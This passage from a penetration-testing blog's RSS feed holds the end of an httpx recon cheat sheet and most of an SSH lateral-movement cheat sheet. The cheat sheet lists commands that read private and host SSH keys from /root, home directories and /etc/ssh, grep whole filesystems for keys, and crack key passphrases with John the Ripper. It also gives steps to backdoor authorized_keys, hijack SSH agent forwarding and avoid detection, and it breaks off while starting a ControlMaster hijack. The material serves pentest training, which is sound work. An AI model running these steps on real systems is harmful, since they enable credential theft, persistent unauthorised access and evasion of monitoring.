    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ztls&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;use ztls library with autofallback to standard one for tls13&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-no-decode&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;avoid decoding body&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-tlsi, -tls-impersonate&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;enable experimental client hello (ja3) tls randomization&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-no-stdin&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;Disable Stdin processing&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;httpx-debug-options&quot;&gt;httpx Debug Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-health-check, -hc&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;run diagnostic check up&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-debug&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display request/response content in cli&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-debug-req&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display request content in cli&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-debug-resp&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display response content in cli&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-version&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display httpx version&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-stats&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display scan statistic&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-profile-mem string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;optional httpx memory profile dump file&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-silent&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;silent mode&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-v, -verbose&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;verbose mode&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-si, -stats-interval int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;number of seconds to wait between showing a statistics update (default: 5)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-nc, -no-color&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;disable colors in cli output&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;optimizations&quot;&gt;Optimizations&lt;/h3&gt;

&lt;p&gt;Improve the performance of httpx tune the settings to the target environment.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;COMMAND&lt;/th&gt;
      &lt;th&gt;DESCRIPTION&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-nf, -no-fallback&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;display both probed protocol (HTTPS and HTTP)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-nfs, -no-fallback-scheme&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;probe with protocol scheme specified in input&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-maxhr, -max-host-error int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;max error count per host before skipping remaining path/s (default 30)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-ec, -exclude-cdn&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;skip full port scans for CDN/WAF (only checks for 80,443)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-eph, -exclude-private-hosts&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;skip any hosts which have a private ip address&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-retries int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;number of retries&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-timeout int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;timeout in seconds (default 10)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-delay value&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;duration between each http request (eg: 200ms, 1s) (default -1ns)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rsts, -response-size-to-save int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;max response size to save in bytes (default 2147483647)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;code&gt;-rstr, -response-size-to-read int&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
      &lt;td&gt;&lt;p&gt;max response size to read in bytes (default 2147483647)&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;real-world-httpx-examples&quot;&gt;Real World httpx Examples&lt;/h2&gt;

&lt;h3 id=&quot;dnsx-to-httpx&quot;&gt;DNSX to httpx&lt;/h3&gt;

&lt;p&gt;Run domains through dnsx to confirm resolution, then through httpx to confirm a 200 response from the webserver:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dnsx &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; roots.txt &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; &amp;lt;key,words&amp;gt; | httpx &lt;span class=&quot;nt&quot;&gt;-sc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-mc&lt;/span&gt; 200&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;httpx-follow-redirects&quot;&gt;httpx Follow Redirects&lt;/h3&gt;

&lt;p&gt;For httpx to follow redirects use:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;httpx &lt;span class=&quot;nt&quot;&gt;-follow-redirects&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;httpx-screenshot&quot;&gt;httpx Screenshot&lt;/h3&gt;

&lt;p&gt;Take a screenshot of targets that return 200 response:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;httpx &lt;span class=&quot;nt&quot;&gt;-sc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-mc&lt;/span&gt; 200 &lt;span class=&quot;nt&quot;&gt;-ss&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;basic-recon&quot;&gt;Basic Recon&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;httpx &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; 200 &lt;span class=&quot;nt&quot;&gt;-random-agent&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-nc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-silent&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-timeout&lt;/span&gt; 8 &lt;span class=&quot;nt&quot;&gt;-sc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-server&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-title&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; httpx.out&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We hope this httpx cheat sheet was useful in covering the usage of this excellent HTTP toolkit by Project Discovery for performing recon against web servers and applications.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>SSH Lateral Movement Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/ssh-lateral-movement-cheat-sheet/</link>
          <pubDate>Mon, 03 Jun 2024 15:29:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>Linux Lateral Movement</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/ssh-lateral-movement-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-a-lateral-movement&quot; id=&quot;markdown-toc-what-is-a-lateral-movement&quot;&gt;What is a Lateral Movement&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ssh-lateral-movement&quot; id=&quot;markdown-toc-ssh-lateral-movement&quot;&gt;SSH Lateral Movement&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#manually-look-for-ssh-keys&quot; id=&quot;markdown-toc-manually-look-for-ssh-keys&quot;&gt;Manually Look for SSH Keys&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#search-for-files-containing-ssh-keys&quot; id=&quot;markdown-toc-search-for-files-containing-ssh-keys&quot;&gt;Search For Files Containing SSH Keys&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#identify-the-host-for-the-key&quot; id=&quot;markdown-toc-identify-the-host-for-the-key&quot;&gt;Identify The Host for the Key&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#cracking-ssh-passphrase-keys&quot; id=&quot;markdown-toc-cracking-ssh-passphrase-keys&quot;&gt;Cracking SSH Passphrase Keys&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#cracking-ssh-passphrase-with-john-the-ripper&quot; id=&quot;markdown-toc-cracking-ssh-passphrase-with-john-the-ripper&quot;&gt;Cracking SSH Passphrase with John the Ripper&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-passphrase-backdoor&quot; id=&quot;markdown-toc-ssh-passphrase-backdoor&quot;&gt;SSH Passphrase Backdoor&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ssh-agent-forwarding-hijacking&quot; id=&quot;markdown-toc-ssh-agent-forwarding-hijacking&quot;&gt;SSH Agent Forwarding Hijacking&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#how-ssh-agent-works&quot; id=&quot;markdown-toc-how-ssh-agent-works&quot;&gt;How SSH Agent Works&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#the-risk&quot; id=&quot;markdown-toc-the-risk&quot;&gt;The Risk&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#how-to-hijack-ssh-agent-forwarding&quot; id=&quot;markdown-toc-how-to-hijack-ssh-agent-forwarding&quot;&gt;How To Hijack SSH Agent Forwarding&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#client-instructions&quot; id=&quot;markdown-toc-client-instructions&quot;&gt;Client Instructions&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh-hijacking-with-controlmaster&quot; id=&quot;markdown-toc-ssh-hijacking-with-controlmaster&quot;&gt;SSH Hijacking with ControlMaster&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-is-a-lateral-movement&quot;&gt;What is a Lateral Movement&lt;/h2&gt;

&lt;p&gt;A lateral movement typically occurs after a host has been compromised via a reverse shell, and foothold in the network is obtained. Fully compromising the target machine by performing Linux privilege escalation or Windows privilege escalation could be advantageous due to the increased access to files or operating system functionality leveraged by a root level account.&lt;/p&gt;

&lt;p&gt;This article focuses specifically on SSH lateral movement techniques on Linux.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;ssh-lateral-movement&quot;&gt;SSH Lateral Movement&lt;/h2&gt;

&lt;p&gt;SSH private keys are typically an easy way to progress through the network, and are often found with poor permissions or duplicated in home directories. This article does not cover SSH pivoting in depth, we have a separate resource for &lt;a href=&quot;https://hacksofdhruv.me/blog/ssh-meterpreter-pivoting-techniques/&quot;&gt;SSH pivoting&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Enumerate Non UNIX Based Hosts for Private Keys&lt;/h5&gt;
  &lt;p&gt;SSH is not specific to UNIX based operating systems, consider enumerating Windows target for SSH private keys.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;manually-look-for-ssh-keys&quot;&gt;Manually Look for SSH Keys&lt;/h3&gt;

&lt;p&gt;Check home directories and obvious locations for private key files:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;/home/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/authorized&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;keys 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/identity.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/identity 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;rsa.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;rsa 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;dsa.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;dsa 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;config 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/sshd&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;config 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;host&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;dsa&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;key.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;host&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;dsa&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;key 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;host&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;rsa&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;key.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;host&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;rsa&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;key 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;host&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;key.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/ssh/ssh&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;host&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;key
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/authorized&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;keys 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/identity.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/identity 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;rsa.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;rsa 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;dsa.pub 
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ~/.ssh/id&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;dsa &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;search-for-files-containing-ssh-keys&quot;&gt;Search For Files Containing SSH Keys&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt; 
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ir&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-----BEGIN RSA PRIVATE KEY-----&quot;&lt;/span&gt; /home/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ir&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;BEGIN DSA PRIVATE KEY&quot;&lt;/span&gt; /home/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ir&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;BEGIN RSA PRIVATE KEY&quot;&lt;/span&gt; /&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ir&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;BEGIN DSA PRIVATE KEY&quot;&lt;/span&gt; /&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;identify-the-host-for-the-key&quot;&gt;Identify The Host for the Key&lt;/h3&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Hashed known_hosts&lt;/h5&gt;
  &lt;p&gt;Modern Linux systems may hash the known_hosts file entries to help prevent against enumeration.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;If you find a key you then need to identify what server the key is for. In an attempt to idenitfy what host the key is for the following locations should be checked:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;/etc/hosts 
~/.known_hosts
~/.bash_history 
~/.ssh/config &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;cracking-ssh-passphrase-keys&quot;&gt;Cracking SSH Passphrase Keys&lt;/h3&gt;

&lt;p&gt;If the discovered SSH key is encrypted with a passphrase this can be cracked locally (much faster), below are several methods. If you have access to a GPU hashcat should be leveraged to improve the cracking time.&lt;/p&gt;

&lt;h4 id=&quot;cracking-ssh-passphrase-with-john-the-ripper&quot;&gt;Cracking SSH Passphrase with John the Ripper&lt;/h4&gt;

&lt;p&gt;John the Ripper has a function to convert he key to a hash called john2hash.py and comes pre installed on Kali.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Convert the hash: python /usr/share/john/ssh2john.py id_rsa &amp;gt; id_rsa.hash-john&lt;/li&gt;
  &lt;li&gt;Use a comprehensive wordlist: john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash-john&lt;/li&gt;
  &lt;li&gt;Wait and hope&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;Help Avoid Detection&lt;/h5&gt;
  &lt;p&gt;Avoid directly connecting from a unknown host to the target SSH server, use an already known host to help prevent detection alerts being issued. &lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;ssh-passphrase-backdoor&quot;&gt;SSH Passphrase Backdoor&lt;/h3&gt;

&lt;p&gt;While you have access to the compromised host, it is typically a good idea to backdoor the SSH authorized_keys file which will allow for passwordless login at a point in the future. This should provide an easier and more reliable connection than exploiting and accessing via a reverse shell; and potentially reduce the risk of detection.&lt;/p&gt;

&lt;p&gt;Adding the key is simply a case of paste a SSH public key, generated on your attacking machine and pasting it into the ~/ssh/authorized_keys file on the compromised machine.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;run ssh-keygen -t rsa -b 4096&lt;/li&gt;
  &lt;li&gt;cat id_rsa.pub and copy the file contents&lt;/li&gt;
  &lt;li&gt;echo “SSH key data” » ~/.ssh/authorized_keys&lt;/li&gt;
  &lt;li&gt;Test you can connect using the private key without being prompted for a password&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;ssh-agent-forwarding-hijacking&quot;&gt;SSH Agent Forwarding Hijacking&lt;/h2&gt;

&lt;p&gt;Starting point: You have SSH already backdoored the compromised host by adding your public key to the ~/.authorized_keys file.&lt;/p&gt;

&lt;h3 id=&quot;how-ssh-agent-works&quot;&gt;How SSH Agent Works&lt;/h3&gt;

&lt;p&gt;SSH agent works by allowing the Intermediary machine to pass-through (forward) your SSH key from your client to the next downstream server, allowing the machine in the middle (potentially a bastion host) to use your key without having physical access to your key as they are not stored on the intermediate host but simply forwarded on to the downstream target server.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Access the machine where the existing victim user session is established&lt;/li&gt;
  &lt;li&gt;Root level access to the machine where the victim session is established&lt;/li&gt;
  &lt;li&gt;A current victim SSH  connection with agent forwarding enabled&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your Machine =&amp;gt; Intermediary Host (forwards your key) =&amp;gt; Downstream Machine&lt;/p&gt;

&lt;h4 id=&quot;the-risk&quot;&gt;The Risk&lt;/h4&gt;

&lt;p&gt;The primary risk of using SSH Agent Forwarding is if the intermediatory machine is compromised, and the attacker has significant permissions they could, potentially use the established session socket to gain access to downstream servers.&lt;/p&gt;

&lt;h3 id=&quot;how-to-hijack-ssh-agent-forwarding&quot;&gt;How To Hijack SSH Agent Forwarding&lt;/h3&gt;

&lt;p&gt;Attacking Machine =&amp;gt; Compromised Intermediary Host (with SSH Key) =&amp;gt; Downsteam Machine (final destination)&lt;/p&gt;

&lt;p&gt;SSH agent forwarding allows a user to connect to other machines without entering passwords. This functionality can be exploited to access any host the compromised users SSH key has access to (without having direct access to the keys), while there is an active session.&lt;/p&gt;

&lt;p&gt;A potentially easier way to think of SSH agent forwarding, is to think of it as assigning the SSH key to the active SSH session, while the session is in place it is possible to access the SSH key and connect to other machines that the SSH key has access.&lt;/p&gt;

&lt;p&gt;In order to exploit SSH agent forwarding an active session must be open between the user client (that you wish to hijack) and the compromised intermediary host. You will also require access to the host where the user is connected with superuser privileges (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su - username&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;) to access the account running the active SSH session you wish to hijack.&lt;/p&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;If -A SSH Connection Fails&lt;/h5&gt;
  &lt;p&gt;If -A fails to connect, perform the following: ```echo &quot;ForwardingAgent yes&quot; &amp;gt;&amp;gt; ~/.ssh/config``` to enable agent forwarding. &lt;/p&gt;
&lt;/div&gt;

&lt;h4 id=&quot;client-instructions&quot;&gt;Client Instructions&lt;/h4&gt;

&lt;p&gt;Run the following on your local client machine:&lt;/p&gt;

&lt;p&gt;You may need to create a new key, if so run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-add&lt;/code&gt;.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Open an SSH connection using agent forwarding to the compromised host  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh -A user@compromsied-host&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Verify agent forwarding is working by using: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-add -l&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Obtain root: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -s&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Gain access to the account you wish to access:  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su - victim&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Access any SSH connection the private key of the victim has access&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;ssh-hijacking-with-controlmaster&quot;&gt;SSH Hijacking with ControlMaster&lt;/h3&gt;

&lt;p&gt;OpenSSH has a function called &lt;strong&gt;ControlMaster&lt;/strong&gt; that enables the sharing of multiple sessions over a single network connection. Allowing you to connect to the server once and have all other subsequent SSH sessions use the initial connection.&lt;/p&gt;

&lt;p&gt;In order to exploit SSH ControlMaster you first need shell level access to the target; you will then need sufficient privileges to modify the config of a user to enable the  ControlMaster functionality.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Gain shell level access to the target machine&lt;/li&gt;
  &lt;li&gt;Access the victim users home directory and create / modify the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.ssh/config&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Add the following configuration:&lt;/li&gt;
&lt;/ol&gt;

